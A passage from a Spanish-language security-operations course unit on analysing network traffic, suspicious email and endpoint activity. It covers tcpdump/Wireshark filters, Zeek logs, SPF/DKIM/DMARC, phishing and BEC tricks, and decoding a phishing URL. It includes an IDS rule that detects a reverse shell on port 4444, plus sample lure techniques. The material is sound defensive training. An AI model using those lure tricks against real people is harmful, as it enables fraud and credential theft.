- Aprender
- Informática
- Operaciones de seguridad y respuesta a incidentes
- Análisis de actividad maliciosa
Análisis de actividad maliciosa: red, correo y EDR
IntermedioUnidad 3 de 7 del curso Curso de Operaciones de seguridad y respuesta a incidentes
Lo que aprenderás
- Captura el tráfico adecuado, interpreta paquetes y comunicaciones, resume la actividad mediante registros de flujo de red y de conexiones, y reconoce los patrones de red que apuntan a escaneos, tráfico de mando y control, tunelización y robo de datos.
- Captura y filtra el tráfico de redElige dónde y cómo capturar paquetes, escribe filtros de captura y visualización y maneja los archivos de captura para que se mantengan completos y fiables.
- Lee paquetes y reconstruye comunicacionesInterpreta las capas de un paquete, sigue las comunicaciones TCP y UDP, recupera lo transferido y evalúa el tráfico cifrado a partir de sus metadatos.
- Analiza datos de flujos y registros de conexionesUtiliza registros de flujo de red y registros de conexiones de Zeek para saber quién se comunicó con quién, durante cuánto tiempo y cuánto intercambiaron, y para detectar volúmenes y destinos inusuales.
- Reconoce indicadores de red e interpreta alertas del IDSReconoce escaneos, dispositivos no autorizados, puertos inesperados, comunicación periódica de mando y control, uso indebido de DNS y movimiento lateral, y verifica las alertas de detección de intrusiones en lugar de confiar ciegamente en ellas.
- Captura y filtra el tráfico de red
- Interpreta las cabeceras del correo y los resultados de autenticación, reconoce la suplantación de identidad mediante mensajes fraudulentos y el fraude por suplantación del correo empresarial, analiza enlaces y archivos adjuntos sin exponerte y encuentra a todas las personas afectadas por una campaña.
- Interpreta las cabeceras del correo electrónico y los resultados de autenticaciónRastrea un mensaje a través de sus cabeceras e interpreta los resultados de SPF, DKIM y DMARC, incluido lo que demuestran y lo que no.
- Reconoce la suplantación de identidad mediante mensajes fraudulentos y el fraude por suplantación del correo empresarialReconoce los trucos relacionados con el remitente, los enlaces, el contenido y los archivos adjuntos que se usan en mensajes fraudulentos, así como el fraude de pago por suplantación del correo empresarial que no lleva malware.
- Analiza enlaces y archivos adjuntos de forma segura y determina el alcance de la campañaManeja mensajes sospechosos sin exponerte, decodifica y comprueba sus enlaces y archivos, extrae indicadores y encuentra a todas las personas a las que llegó la campaña.
- Interpreta las cabeceras del correo electrónico y los resultados de autenticación
- Utiliza herramientas de detección y respuesta en dispositivos finales y registros de estos dispositivos para interpretar árboles de procesos y líneas de comandos, encontrar las formas en que los atacantes mantienen el acceso y reconocer los cambios en archivos, software y configuración que revelan un equipo comprometido.
- Utiliza EDR y la telemetría de los dispositivos finalesExplica qué hacen EDR, XDR y MDM, conoce los eventos relevantes de los dispositivos finales y utiliza alertas de EDR, exploración de registros relacionados y acciones de respuesta en una investigación.
- Analiza procesos y líneas de comandosEvalúa los procesos por su nombre, ruta, proceso padre, firmante y línea de comandos, reconoce los binarios legítimos del sistema utilizados con fines maliciosos y PowerShell codificado, y decodifica lo que realmente hace un comando sospechoso.
- Encuentra mecanismos de persistenciaEncuentra las ubicaciones de inicio automático que usan los atacantes en Windows, Linux y macOS, interpreta la evidencia que deja cada una y compruébalas de forma metódica frente a un estado que se sabe que es correcto.
- Identifica cambios en los archivos, el software y la configuración de un equipoReconoce los indicadores en el equipo más allá de los procesos: archivos sospechosos, software no autorizado, configuraciones debilitadas, uso anormal de recursos y datos preparados para su robo.
- Utiliza EDR y la telemetría de los dispositivos finales
- Comprueba la reputación de archivos, dominios y direcciones IP, examina un archivo de forma segura sin ejecutarlo y utiliza un entorno aislado de análisis para observar qué hace, conociendo los límites de cada método.
- Consulta la reputación de archivos, hashes, dominios y direcciones IPUtiliza correctamente los hashes y los servicios de reputación, interpreta sus resultados de forma crítica y protege los datos confidenciales al hacerlo.
- Realiza un análisis estático básicoExamina un archivo sospechoso sin ejecutarlo: identifica su tipo real, extrae cadenas, interpreta la estructura básica de un programa de Windows, reconoce el empaquetado, decodifica contenido ofuscado y compáralo con reglas YARA.
- Realiza e interpreta análisis en un entorno aisladoEjecuta una muestra de forma segura, interpreta el informe de comportamiento, reconoce la evasión y convierte los resultados en indicadores que puedas comprobar en tu propio entorno.
- Consulta la reputación de archivos, hashes, dominios y direcciones IP
- Combina evidencias de red, correo electrónico y dispositivos finales en una cronología, decide si la actividad es maliciosa con un nivel de confianza declarado, y documenta los hallazgos y escala la respuesta para que otras personas puedan actuar.
- Correlaciona evidencias para elaborar una cronologíaNormaliza las horas, explora fuentes relacionadas mediante campos compartidos y elabora una cronología que explique cómo se desarrolló un ataque y dónde faltan evidencias.
- Emite un dictamen y documenta los hallazgosClasifica una alerta o evento con un nivel de confianza justificado, registra los hallazgos e indicadores para que otras personas puedan reproducirlos y escala la respuesta ante incidentes confirmados con las evidencias preservadas.
- Correlaciona evidencias para elaborar una cronología
Guía de estudio de Análisis de actividad maliciosa
1Analiza el tráfico de red en capturas de paquetes y datos de flujos
Los paquetes muestran intercambios individuales; los registros de flujo de red revelan patrones durante un periodo más largo. Elegirás un punto de captura, filtrarás el tráfico, reconstruirás comunicaciones y medirás conexiones inusuales. Los escaneos, los contactos periódicos y los patrones DNS se convierten en pistas útiles cuando los relacionas con las funciones de los equipos y la actividad esperada. El mismo análisis también te permite verificar qué detectó realmente una regla de detección de intrusiones.
1.1 Captura y filtra el tráfico de red
Una captura de paquetes guarda las cabeceras y los datos que llegan a un sensor en un archivo .pcap o .pcapng. Puede mostrar el contenido de intercambios sin cifrar, junto con direcciones, puertos y tiempos. Recopílala y almacénala conforme a la política de supervisión de la organización: una captura puede contener contraseñas y datos personales.
Elige un punto de captura útil
Un dispositivo de copia pasiva de tráfico de red (TAP) copia de forma pasiva el tráfico de un enlace. Un puerto de duplicación de tráfico (SPAN) indica a un conmutador que duplique los puertos o VLAN seleccionados. SPAN puede descartar copias cuando su salida está sobrecargada; un TAP que agrega tráfico también puede perder paquetes si ambos sentidos juntos superan la capacidad del puerto de supervisión. Una captura en un equipo ve el tráfico de ese equipo. Un sensor en el límite con internet no ve el tráfico que permanece dentro de la red. Fuera de NAT, ve una dirección pública compartida, por lo que debes conservar los registros de NAT para identificar el equipo interno.
Guarda ampliamente, inspecciona de forma selectiva
Un filtro de captura decide qué se guarda. Un filtro de visualización cambia la vista de los paquetes ya guardados. Sus sintaxis son distintas:
| Finalidad | Filtro para el tráfico TCP del puerto 443 de un equipo |
|---|---|
| Captura, sintaxis BPF | host 192.168.1.50 and tcp port 443 |
| Visualización en Wireshark | ip.addr == 192.168.1.50 && tcp.port == 443 |
El filtro BPF port 443 también incluye UDP, incluido QUIC. Un filtro de captura restrictivo puede descartar permanentemente otro canal del atacante. Un filtro de visualización puede quitarse cuando la investigación cambie de dirección.
Para una captura dirigida, utiliza:
sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22
-i selecciona la interfaz; -nn mantiene las direcciones y los puertos en formato numérico y evita las búsquedas de nombres; -s 0 conserva los paquetes completos; -w escribe los paquetes sin procesar. El filtro excluye el puerto 22, por ejemplo, una sesión SSH del analista. Lee el tráfico DNS guardado con tcpdump -nn -r case42.pcap port 53.
En Wireshark, dns muestra DNS; http.request muestra solicitudes HTTP. Utiliza tcp.flags.syn == 1 && tcp.flags.ack == 0 para los intentos iniciales de TCP, tls.handshake.type == 1 para los mensajes TLS Client Hello e ip.dst == 10.0.0.0/8 para los destinos de ese rango. frame contains "password" encuentra ese texto en los bytes capturados. Combina condiciones con &&, || y !.
Planifica la conservación y preserva las evidencias
Con un uso del 40 %, un enlace de 100 Mbit/s transporta 40 Mbit/s. Al dividir entre ocho se obtienen 5 MB/s; durante 3600 segundos son 18 000 MB, o 18 GB. Los búferes circulares sobrescriben la captura más antigua, mientras que las capturas dirigidas reducen las necesidades de almacenamiento. Exporta las evidencias relevantes antes de que un búfer las sobrescriba.
TLS deja visibles las direcciones, los tamaños, los tiempos y los metadatos disponibles del intercambio de establecimiento, pero oculta el contenido de aplicación salvo que lo proporcionen las claves de sesión o un punto de inspección. La visibilidad de DNS y del nombre del servidor también depende de los protocolos utilizados. Calcula el hash SHA-256 de la captura original, registra la interfaz y el intervalo de captura y analiza una copia. Comprueba la sincronización del reloj y las estadísticas de paquetes descartados; el contador «descartados por el núcleo» de tcpdump revela el tráfico que el sistema de captura no registró.
Puntos clave
- El punto de captura determina qué tráfico es visible y para qué identidades de equipos se necesitan registros de NAT.
- Los filtros de captura descartan los paquetes excluidos; los de visualización solo ocultan paquetes guardados.
- Los filtros BPF y los filtros de visualización de Wireshark usan sintaxis distintas.
- Ten en cuenta ambos sentidos del enlace, el volumen de almacenamiento y los paquetes descartados.
- Preserva la captura original, su hash SHA-256 y las horas precisas de captura.
1.2 Lee paquetes y reconstruye comunicaciones
Lee un paquete desde la información externa de entrega hacia sus datos de aplicación. En Ethernet, Wireshark muestra las direcciones MAC, después las direcciones IP y el TTL, luego los puertos TCP o UDP y, por último, DNS, HTTP, TLS u otro protocolo de aplicación. El panel de detalles despliega estas capas; el panel de bytes muestra sus valores hexadecimales sin procesar.
Sigue el intercambio
TCP comienza con SYN, SYN-ACK y ACK. En 10.0.0.23:51544 → 203.0.113.80:443 SYN, el puerto de origen alto pertenece al cliente. La respuesta intercambia las direcciones y los puertos. FIN solicita un cierre ordenado; RST termina la conexión de forma abrupta. Un reinicio en respuesta a un SYN suele indicar un puerto cerrado. La ausencia de respuesta puede deberse a filtrado, pérdida o falta de visibilidad, por lo que debes inspeccionar tanto los paquetes como la posición de captura.
UDP no tiene intercambio de establecimiento en la capa de transporte. DNS suele usar UDP 53 y también usa TCP 53, por ejemplo, para respuestas grandes y transferencias de zona. Lee el tipo de registro de la consulta: A solicita IPv4, AAAA IPv6, MX servidores de correo, TXT texto y CNAME un alias. NXDOMAIN significa que el nombre solicitado no existe.
Una respuesta DNS seguida de una conexión a la IP que devolvió sugiere una relación. Confirma el nombre solicitado con una cabecera Host de HTTP, la SNI de TLS visible, registros de proxy o datos del dispositivo final: varios dominios pueden compartir esa dirección.
Reconstruye la actividad de aplicación
Follow TCP Stream de Wireshark ensambla una comunicación en orden y separa los dos sentidos por color. Statistics → Conversations ordena los pares que se comunican por paquetes y bytes; Protocol Hierarchy muestra la combinación de protocolos.
Supón que un flujo contiene:
GET /update.php?id=WS-0423 HTTP/1.1
Host: cdn-update.example.net
User-Agent: Mozilla/4.0
La respuesta es 200 OK, declara application/octet-stream y comienza con MZ. Esos bytes sugieren un ejecutable de Windows. La ruta .php puede devolver cualquier contenido; no tiene por qué ser el nombre del archivo descargado. Comprueba el tipo, el hash y la firma del objeto exportado, y después relaciona la solicitud con su proceso y el historial del destino.
Las solicitudes GET recuperan contenido; las solicitudes POST envían un cuerpo. Interpreta conjuntamente Host, la ruta, User-Agent, el estado de respuesta y los tamaños de los cuerpos. Los cuerpos POST grandes y repetidos hacia un destino nuevo merecen investigación. El estado 301 o 302 redirige al cliente, mientras que 404 indica que falta un recurso.
File → Export Objects → HTTP, o su equivalente para SMB, puede recuperar objetos transferidos cuando se dispone del contenido necesario sin cifrar. Conserva las muestras recuperadas en el entorno aislado de análisis y registra sus hashes.
Interpreta correctamente el tráfico cifrado
Un Client Hello normalmente expone la SNI, el nombre del servidor solicitado, salvo que Client Hello cifrado lo proteja. TLS 1.2 expone el certificado del servidor en el intercambio de establecimiento; TLS 1.3 lo cifra. Las huellas JA3 y JA4 resumen características del Client Hello y pueden ayudar a agrupar clientes similares. Un certificado nuevo, la ausencia de SNI o una huella compartida son pistas que deben comprobarse frente al contexto del proceso y del destino.
El puerto 443 sugiere HTTPS, pero no permite determinar el protocolo. Inspecciona el intercambio real o utiliza Decode As cuando un analizador necesite ayuda para reconocer un protocolo en un puerto inusual.
Puntos clave
- Identifica al iniciador a partir del intercambio de establecimiento y sigue el sentido inverso de la respuesta.
- Relaciona las respuestas DNS con los nombres de aplicación antes de atribuir una conexión a un dominio.
- Reconstruye flujos y exporta objetos para inspeccionar lo que se transfirió.
- La visibilidad de TLS cambia según la versión de TLS y el uso de Client Hello cifrado.
- Confirma los protocolos a partir del intercambio, no solo del número de puerto.
1.3 Analiza datos de flujos y registros de conexiones
Los registros de flujo de red resumen el tráfico sin conservar sus datos de aplicación. Permiten buscar de forma práctica en semanas de actividad antes de recuperar una captura breve de paquetes. La quíntupla de 5 elementos habitual es IP de origen, IP de destino, puerto de origen, puerto de destino y protocolo de transporte. Los registros también contienen tiempos, recuentos y, a menudo, indicadores TCP.
Conoce cómo cuenta la fuente
NetFlow v5 tiene un formato fijo para IPv4; NetFlow v9 usa plantillas y admite IPv6. IPFIX es el estándar del IETF derivado de ese enfoque basado en plantillas. Los registros de flujos en la nube proporcionan resúmenes de red relacionados. sFlow toma muestras de paquetes y añade contadores de interfaz, por lo que sus observaciones deben ampliarse con cuidado.
Con un muestreo de 1 de cada 1000, 1200 paquetes muestreados representan aproximadamente 1,2 millones de paquetes. La estimación describe el volumen; una conexión breve podría no dejar ningún paquete muestreado. Una muestra vacía es una evidencia débil para determinar si ocurrió una conexión concreta.
Los exportadores suelen registrar cada sentido por separado y dividir las conexiones largas al vencer los tiempos límite de actividad. Empareja los registros inversos intercambiando ambas direcciones y ambos puertos, sin cambiar el protocolo. Después une los fragmentos que pertenecen a la misma conexión. Suma los bytes por separado para cada sentido y mide el tiempo transcurrido desde el inicio más temprano hasta el fin más tardío. Sumar duraciones de registros que se solapan aumenta artificialmente el tiempo.
Interpreta los registros de conexiones de Zeek
Zeek produce registros estructurados de conexiones y protocolos. En conn.log, ts es la hora de inicio y uid vincula la conexión con registros como http.log o ssl.log. Los campos id.orig_h e id.orig_p identifican al originador; id.resp_h e id.resp_p identifican al equipo que responde. El originador inició la comunicación y puede ser un equipo externo. proto, service, duration, orig_bytes y resp_bytes describen su transporte, la aplicación reconocida y la actividad.
| Estado TCP | Interpretación |
|---|---|
S0 | Se observó un intento sin respuesta. |
REJ | El objetivo rechazó el intento. |
SF | Se estableció y cerró una conexión con normalidad. |
OTH | Se observó tráfico sin un SYN, a menudo porque la observación comenzó a mitad del flujo. |
En los intentos sin respuesta, Zeek puede indicar cero bytes de datos aunque haya paquetes reales. Los exportadores de flujos suelen contar también las cabeceras IP, por lo que sus recuentos de bytes difieren. Interpreta los recuentos de paquetes y el estado junto con los campos de bytes documentados.
Mide una carga inusual
De 02:10 a 02:50 UTC, 10.0.0.23 envía 2,4 GB a 198.51.100.7:443 y recibe 12 MB. Convierte 2,4 GB a 2400 MB: el volumen saliente es 200 veces el entrante. Cuarenta minutos son 2400 segundos, por lo que la tasa media de salida es de 1 MB/s, u 8 Mbit/s.
La tasa no es el dictamen. Compara el volumen habitual del equipo, el historial del destino y su función. Una copia de seguridad programada puede explicar una carga nocturna; un destino nuevo y un proceso emisor no aprobado refuerzan la hipótesis de robo de datos. Explora el EDR para identificar el proceso responsable, los datos de DNS o proxy para conocer el nombre y los paquetes para ver el contenido, si están disponibles. Una línea base debe comparar funciones similares: un servidor de copias de seguridad y la estación de trabajo de un recepcionista tienen un tráfico normal distinto.
Puntos clave
- Los datos de flujos describen direcciones, tiempos y volumen, sin datos de aplicación.
- Los recuentos muestreados son estimaciones y pueden omitir eventos breves.
- Empareja los sentidos, combina los fragmentos debidos a tiempos límite y usa el intervalo completo transcurrido.
- Usa el uid de Zeek para unir registros de protocolos y conn_state para interpretar los intentos.
- Interpreta los contadores de bytes según la fuente que los produjo.
- Compara el tráfico inusual con la función del equipo, la línea base y el proceso responsable.
1.4 Reconoce indicadores de red e interpreta alertas del IDS
Los patrones de red indican dónde investigar. Un escáner aprobado y un intruso pueden generar paquetes muy similares.
Reconoce la forma del tráfico
Un escaneo vertical sondea muchos puertos de un equipo. Un escaneo horizontal sondea el mismo puerto en muchos equipos. Si 10.0.0.99 envía paquetes SYN a 1000 puertos de 10.0.0.5 en 12 segundos, la tasa es de unos 83 intentos por segundo. Muchos registros S0 o REJ y unas pocas conexiones correctas encajan con un escaneo. Comprueba el inventario de escáneres y el calendario autorizado.
Un dispositivo no autorizado está conectado sin permiso. Compara las nuevas concesiones DHCP y las direcciones MAC con el inventario de activos; un prefijo de fabricante desconocido, un punto de acceso no autorizado o un segundo servidor DHCP requieren investigación. El NAC ayuda a controlar qué dispositivos pueden conectarse.
Evalúa los servicios según la función del equipo. SSH suele usar el puerto 22, SMTP el 25, DNS el 53, HTTP el 80, HTTPS el 443, SMB el 445, RDP el 3389 y WinRM el 5985/5986. El tráfico SMTP saliente directo desde una estación de trabajo puede indicar un bot de spam. Las conexiones SMB o RDP desde una estación de trabajo a muchas otras pueden indicar movimiento lateral. Verifica qué servicio está realmente presente.
Distingue los temporizadores de la actividad del usuario
Las conexiones a las 10:00:00, 10:05:02, 10:09:59, 10:15:01 y 10:20:00 tienen intervalos de 302, 297, 302 y 299 segundos. La media es de 300 segundos y la variación es de unos dos segundos. Intercambios pequeños y similares a esos intervalos sugieren un temporizador. La comunicación periódica de mando y control consiste en contactos repetidos de C2; los agentes de actualización también usan temporizadores. Identifica el proceso que inicia la conexión y la finalidad del destino. El malware puede añadir variación de los intervalos de comunicación, por ejemplo ±20 %, por lo que un patrón menos regular también merece atención.
Investiga el uso indebido de DNS
La tunelización DNS coloca datos en nombres de consulta, a menudo con etiquetas largas codificadas y muchos subdominios únicos. Una etiqueta puede contener como máximo 63 caracteres; un nombre completo en formato textual ordinario tiene un límite de 253 caracteres. Las consultas TXT o NULL repetidas y el volumen elevado refuerzan el patrón. Muchos nombres de aspecto aleatorio que devuelven NXDOMAIN sugieren un DGA que prueba nombres hasta que uno se resuelve. El DNS externo sobre HTTPS también puede hacer que la actividad no aparezca en los registros DNS habituales de la organización.
Lee y verifica una regla
alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"Possible reverse shell to port 4444"; flow:to_server,established; sid:1000001; rev:1;)
La cabecera especifica que se genere una alerta por tráfico TCP desde la red interna hacia el puerto externo 4444. La condición flow exige tráfico establecido hacia el servidor; sid identifica la regla y rev su revisión. El mensaje indica un posible intérprete de comandos inverso, pero esta regla comprueba un patrón de conexión, no comandos del intérprete.
Snort y Suricata comparan el tráfico con reglas; Zeek proporciona principalmente registros y scripts de comportamiento. Verifica una alerta de IDS con sus paquetes, la plataforma del objetivo y los cambios en el dispositivo final posteriores al intercambio. El modo de detección observa copias; un IPS situado en el trayecto puede bloquear el tráfico, por lo que una coincidencia errónea puede interrumpir las operaciones.
Puntos clave
- Comprueba la autorización antes de tratar un patrón de escaneo como un incidente.
- Utiliza el inventario de dispositivos y las funciones de los equipos para identificar actividad de red inesperada.
- La regularidad temporal sugiere automatización; el contexto del proceso y del destino permite distinguir el C2.
- Investiga conjuntamente las etiquetas DNS largas, los nombres únicos, el volumen de consultas y los patrones NXDOMAIN.
- Lee las condiciones de la regla antes de aceptar el mensaje de alerta como un hallazgo.
- Confirma la explotación sospechada con evidencias del objetivo y del dispositivo final.
2Investiga correos electrónicos sospechosos
Una investigación de correo electrónico comienza con el mensaje original y termina con las personas y los dispositivos afectados. Rastrearás las cabeceras fiables, distinguirás las identidades del remitente que intervienen en SPF, DKIM y DMARC e inspeccionarás la acción que el mensaje pide realizar. El análisis de enlaces y archivos adjuntos proporciona después los campos de búsqueda para encontrar la campaña más amplia, incluido el fraude de pago que no contiene archivos maliciosos.
2.1 Interpreta las cabeceras del correo electrónico y los resultados de autenticación
La dirección que ve un lector y la identidad que se comprueba durante la entrega del correo son campos distintos. Comienza con el archivo original .eml o .msg para conservar las cabeceras que una copia reenviada puede sustituir. Un analizador de cabeceras puede ordenar las evidencias, pero aún necesitas saber qué servidor escribió cada resultado.
Encuentra las identidades y los saltos fiables
El remitente del sobre SMTP se utiliza para las devoluciones y aparece en Return-Path. La cabecera From es el remitente visible. Reply-To controla las respuestas y Message-ID ayuda a localizar registros de correo relacionados. Un servicio de correo puede utilizar legítimamente un dominio de sobre distinto del dominio visible de su cliente.
Cada servidor de retransmisión añade una línea Received al principio. Lee la secuencia del recorrido de abajo hacia arriba, pero establece la confianza a partir de las entradas de tu propia pasarela: un remitente puede falsificar las líneas situadas por debajo de la primera entrada fiable. Un campo opcional X-Mailer también está bajo el control del remitente. Utiliza la IP de envío registrada por tu servidor receptor de confianza.
Aplica las tres comprobaciones
| Comprobación | Identidad y resultado |
|---|---|
| SPF | Comprueba la IP del servidor que se conecta frente a los remitentes autorizados del dominio del sobre. |
| DKIM | Comprueba la firma de un dominio sobre determinadas cabeceras y el hash del cuerpo. |
| DMARC | Exige que una identidad de SPF o DKIM supere la comprobación y esté alineada con el dominio From visible. |
Un registro TXT de SPF como v=spf1 ip4:192.0.2.0/24 include:_spf.example.net -all autoriza ese rango y los remitentes incluidos. -all asigna un resultado fail a los demás remitentes; ~all asigna softfail. Los resultados también pueden ser neutral, none, temperror o permerror. El reenvío suele hacer fallar SPF porque la IP del servidor que reenvía no está autorizada por el dominio del sobre original.
El campo d= de DKIM indica el dominio firmante y s= selecciona su clave en <selector>._domainkey.<domain>. Una firma que supera la comprobación significa que el material firmado se mantuvo sin cambios. El reenvío puede conservarla, mientras que la modificación del mensaje puede invalidarla.
La alineación relajada de DMARC acepta el mismo dominio organizativo; la alineación estricta exige una coincidencia exacta del dominio. La política TXT en _dmarc.<domain> puede solicitar none, quarantine o reject; el receptor decide cómo tratar el mensaje. RFC 9989 sustituyó al estándar DMARC anterior en mayo de 2026, eliminó pct e introdujo el modo de prueba t=y. Comprueba una política con nslookup -type=txt _dmarc.example.com.
Analiza un resultado de autenticación
Tu pasarela informa de SPF pass para mailer.example-billing.net, DKIM pass para example-billing.net y From examp1e.com. Ninguno de los dominios que superaron la comprobación está alineado con el dominio visible, por lo que DMARC falla. SPF y DKIM autenticaron identidades distintas; no autenticaron esa dirección visible.
Lee solo la cabecera Authentication-Results añadida por una pasarela de confianza. Un dominio parecido, propiedad de un atacante y correctamente configurado, puede superar las tres comprobaciones, al igual que un buzón legítimo comprometido. Combina la autenticación con el historial del remitente, el contenido del mensaje y el análisis de enlaces. A la inversa, investiga si el reenvío o los cambios de una lista de correo explican un fallo antes de atribuirlo a una suplantación.
Puntos clave
- Distingue las identidades del remitente del sobre, el From visible y Reply-To.
- Confía en las líneas de cabecera y los resultados de autenticación escritos por tus propios sistemas receptores.
- SPF comprueba una IP de envío; DKIM comprueba el contenido firmado; DMARC comprueba la alineación.
- DMARC necesita un método que supere la comprobación y esté alineado, no dos resultados correctos para dominios no relacionados.
- La autenticación puede superarse para dominios propiedad de atacantes o buzones comprometidos.
2.2 Reconoce la suplantación de identidad mediante mensajes fraudulentos y el fraude por suplantación del correo empresarial
La suplantación de identidad mediante mensajes fraudulentos intenta convertir un mensaje en una acción perjudicial: entregar credenciales, enviar dinero o ejecutar un archivo. La pista más clara suele ser una desviación del proceso habitual del destinatario. A un atacante le resulta fácil proporcionar un texto fluido y un nombre familiar.
Lee con atención el remitente y el destino
La suplantación del nombre visible coloca un nombre de confianza sobre una dirección no relacionada, como "IT Service Desk" <it.desk.2291@freemail.example>. El registro de dominios con errores tipográficos cambia la escritura de un dominio; los dominios parecidos añaden palabras tranquilizadoras. Los homoglifos sustituyen caracteres por otros de aspecto similar de otros alfabetos. Una primera letra cirílica convierte аpple.com en un dominio distinto; su forma punycode es xn--pple-43d.com.
La etiqueta visible de un enlace puede diferir de su destino real. Los acortadores y las redirecciones abiertas ocultan destinos posteriores. En https://www.example.com@198.51.100.7/login, el equipo de destino es 198.51.100.7; la parte anterior a @ es información de usuario. En https://example.com.login-verify.net/, el dominio registrado es login-verify.net. Leer las palabras tranquilizadoras situadas más a la izquierda lleva a identificar incorrectamente quién controla el destino.
Reconoce la acción solicitada
La urgencia, la supuesta autoridad de un directivo, las amenazas de cierre de cuentas, las tarjetas de regalo y los cambios de datos bancarios presionan al destinatario para que omita las comprobaciones establecidas. La suplantación de identidad dirigida utiliza información investigada sobre un objetivo concreto; el whaling se dirige a directivos. Entre las formas de envío relacionadas están el smishing por texto, el vishing por voz y el quishing mediante códigos QR. Un código QR puede trasladar un enlace a un teléfono fuera del filtrado de enlaces de correo.
Los archivos adjuntos pueden incluir documentos con macros, páginas HTML de inicio de sesión o contrabando HTML, archivos comprimidos protegidos con contraseña, imágenes de disco, accesos directos LNK o PDF que contienen enlaces. Las versiones modernas de Office bloquean por defecto las macros en archivos marcados como procedentes de internet, por lo que los mensajes pueden indicar a los usuarios cómo quitar el bloqueo. Una contraseña del archivo comprimido dificulta su inspección, aunque algunas pasarelas pueden extraerla del mensaje y analizar su contenido.
Investiga el fraude de pago sin malware
El fraude por suplantación del correo empresarial, o BEC, suplanta a un colega, directivo o proveedor para obtener dinero, cambios en datos de pago o información sensible. Puede usar una dirección parecida o un buzón real comprometido. A menudo no contiene enlaces ni archivos adjuntos, lo que deja poco que inspeccionar a los escáneres. Un Reply-To modificado o una regla nueva que oculta respuestas son evidencias de apoyo útiles.
En un hilo de facturación existente, un proveedor conocido solicita que un pago de 48 000 euros se envíe a una nueva cuenta bancaria. La autenticación se supera. El buzón ha sido comprometido y el atacante ha usado el secuestro de hilos de conversación para aprovechar la confianza de la conversación. Verifica la solicitud mediante un número de teléfono que ya figure en el registro del proveedor antes de cambiar los datos de pago. Un número proporcionado en el mensaje forma parte de la solicitud no verificada.
Una dirección interna también puede estar comprometida; incluye a los destinatarios internos y las respuestas en la investigación de la cuenta.
Puntos clave
- Inspecciona la dirección real del remitente y el equipo de destino de la URL, más allá de los nombres visibles y el texto del enlace.
- La presión para omitir las comprobaciones habituales de pagos o cuentas es una señal de phishing.
- El BEC puede usar un buzón real y no contener enlaces ni archivos adjuntos.
- Verifica los cambios en instrucciones de pago mediante un contacto obtenido de forma independiente.
2.3 Analiza enlaces y archivos adjuntos de forma segura y determina el alcance de la campaña
Una investigación de phishing tiene dos tareas: comprender el mensaje y encontrar a todas las personas a las que llegó. Una copia notificada es un punto de partida. La acción realizada por un destinatario determina qué evidencias de cuenta o equipo necesitas a continuación.
Preserva e inspecciona el mensaje
Exporta el original con todas sus cabeceras y después copia las URL como texto para inspeccionarlas en un entorno aislado de análisis. Registra los indicadores en forma neutralizada, como hxxps://login-verify[.]net/acct, para evitar clics accidentales en los tickets. Preserva el original intacto junto con la copia de trabajo.
Las pasarelas de correo pueden incluir una URL dentro de un parámetro de otra URL. La codificación porcentual representa caracteres mediante un signo de porcentaje y dos dígitos hexadecimales: %3A es dos puntos y %2F una barra. Decodifica una capa cada vez e inspecciona el resultado antes de interpretar otra capa.
Por ejemplo, al decodificar la URL:
https%3A%2F%2Flogin-verify.net%2Facct%3Fu%3DamFuZUBleGFtcGxlLm9yZw%3D%3D
se obtiene https://login-verify.net/acct?u=amFuZUBleGFtcGxlLm9yZw==. Al decodificar en Base64 el valor u se obtiene jane@example.org. El parámetro identifica al destinatario previsto y puede personalizar la página falsa. Las operaciones URL Decode, From Base64 y Defang URL de CyberChef permiten ver estas transformaciones por separado.
Antes de enviar una URL a un servicio público, elimina los valores que identifiquen a la víctima; un resultado público o una solicitud personalizada pueden revelar la investigación al atacante. Obtén una vista previa de los enlaces acortados mediante un servicio de análisis aprobado. La visibilidad del servicio y cómo maneja los envíos importan tanto como la propia URL.
Inspecciona los archivos y extrae los campos de búsqueda
Calcula el SHA-256 de un archivo adjunto y consulta su reputación antes de subirlo. Comprueba su tipo a partir de los primeros bytes. Para un archivo de Office, olevba puede enumerar macros y señalar desencadenantes automáticos como AutoOpen o Document_Open y llamadas como Shell. Utiliza un entorno aislado privado para contenido interno confidencial.
Recopila la dirección y el nombre visible del remitente, la IP de la entrada Received fiable, el asunto, Message-ID, los equipos de destino y rutas de las URL y los nombres y hashes de los archivos adjuntos. Conserva los valores exactos en las evidencias; utiliza copias neutralizadas en las notas. Un nombre de archivo puede cambiar entre mensajes, mientras que un hash idéntico sigue vinculando contenido de archivo idéntico.
Determina el alcance entre destinatarios e interacciones
Busca en los registros de la pasarela y de los buzones usando varios de esos campos. Enumera los destinatarios y después distingue la entrega de la interacción mediante registros DNS y de proxy, inicios de sesión posteriores a visitas al enlace y eventos de EDR correspondientes a la apertura y ejecución del archivo adjunto.
Una búsqueda puede encontrar 40 mensajes entregados, seis personas que visitaron el enlace y dos cuentas con inicios de sesión correctos desconocidos minutos después. Preserva los registros, retira los mensajes de la campaña y bloquea la URL o el dominio malicioso mediante el proceso de respuesta. Las dos cuentas afectadas necesitan que se restablezcan sus contraseñas y se revoquen sus sesiones activas. Una lista de destinatarios por sí sola no mostraría la diferencia entre exposición y posible compromiso.
Cerrar el ticket porque el usuario que lo notificó eliminó el mensaje deja sin examinar a los demás destinatarios. Registra quién lo recibió, quién interactuó, qué ocurrió después y qué evidencias faltan.
Puntos clave
- Preserva el mensaje original y trabaja con indicadores copiados y neutralizados.
- Decodifica las capas de URL por separado y reconoce los parámetros que identifican al destinatario.
- Protege los archivos adjuntos confidenciales y las URL personalizadas frente a envíos públicos.
- Determina el alcance de la campaña con campos de mensajes, hashes y URL.
- Distingue entre entrega, interacción y compromiso posterior.
3Investiga la actividad de los dispositivos finales con EDR
Los registros de dispositivos finales explican qué programa causó un cambio en un archivo, una conexión o una configuración. Seguirás la ascendencia de los procesos, inspeccionarás los argumentos de los comandos y encontrarás los desencadenantes que permiten volver a un atacante. Windows, Linux y macOS dejan artefactos distintos, pero la investigación plantea las mismas preguntas prácticas: qué cambió, quién lo causó, si estaba autorizado y qué otros equipos muestran la misma actividad.
3.1 Utiliza EDR y la telemetría de los dispositivos finales
La telemetría de dispositivos finales conecta las evidencias de red y de archivos con el programa que las causó. EDR registra la actividad de los dispositivos finales, detecta comportamientos sospechosos y permite investigar y responder de forma remota. Su historial puede revelar actividad que el estado actual de un archivo ya no muestra.
Elige la fuente adecuada
